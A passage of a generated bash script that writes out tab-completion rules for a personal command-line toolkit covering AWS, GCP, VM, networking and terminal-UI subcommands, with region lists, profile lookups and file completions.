markdown_mmd markdown_phpextra markdown_strict mediawiki man mdoc muse native odt opml org pod ris rtf rst t2t textile tikiwiki twiki typst vimwiki")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network mitm-proxy\'*\'--script-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --name --profile --region --secret-string -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db mysql\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.db/mysql/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network archive-website\'*\'--output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document merge-pdf\'*\'--input-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'--since\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(for e in s m h d w; do echo "${2//[!0-9]/}${e}"; done)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network http-request-client\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network http-load-generator\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible decrypt-variable\'*\'--file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'--filter\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "instance-id instance-type private-dns-name private-ip-address public-dns-name subnet-id vpc-id tags launch-time availability-zone state architecture instance-profile security-groups os")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm mac\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.vm/mac/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring wavemon\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document convert\'*\'--output-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui monitoring system-monitor\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui monitoring pihole-monitor\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui monitoring kernel-monitor\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network bluetooth-manager\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video rip-audio\'*\'--output-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --host --local-port --profile --region --remote-port -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network wireguard-config\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*\'-d\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm windows\'*\'--share-directory\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui dev-help stack-overflow\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network warc-2-zim\'*\'--output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network network-manager\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible decrypt-variable\'*\'-f\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm linux\'*\'--share-directory\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'-s\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(for e in s m h d w; do echo "${2//[!0-9]/}${e}"; done)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--end-time --help --log-group-name --profile --region --start-time -h -l -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--backup --default-cli-region --help --sso-region --sso-start-url -d -h -r -u")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'-f\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "instance-id instance-type private-dns-name private-ip-address public-dns-name subnet-id vpc-id tags launch-time availability-zone state architecture instance-profile security-groups os")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development tail-logs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc find-and-replace\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc visualizations-2\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*\'--file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data jupyter-notebook\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development terraform\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --terraform -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --name --profile --region --value -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network full-browser\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm mac\'*\'--share-directory\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network proxy-with-nginx\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --proxy-target-host --proxy-target-protocol --tcp-port -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc youtube-music-2\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' 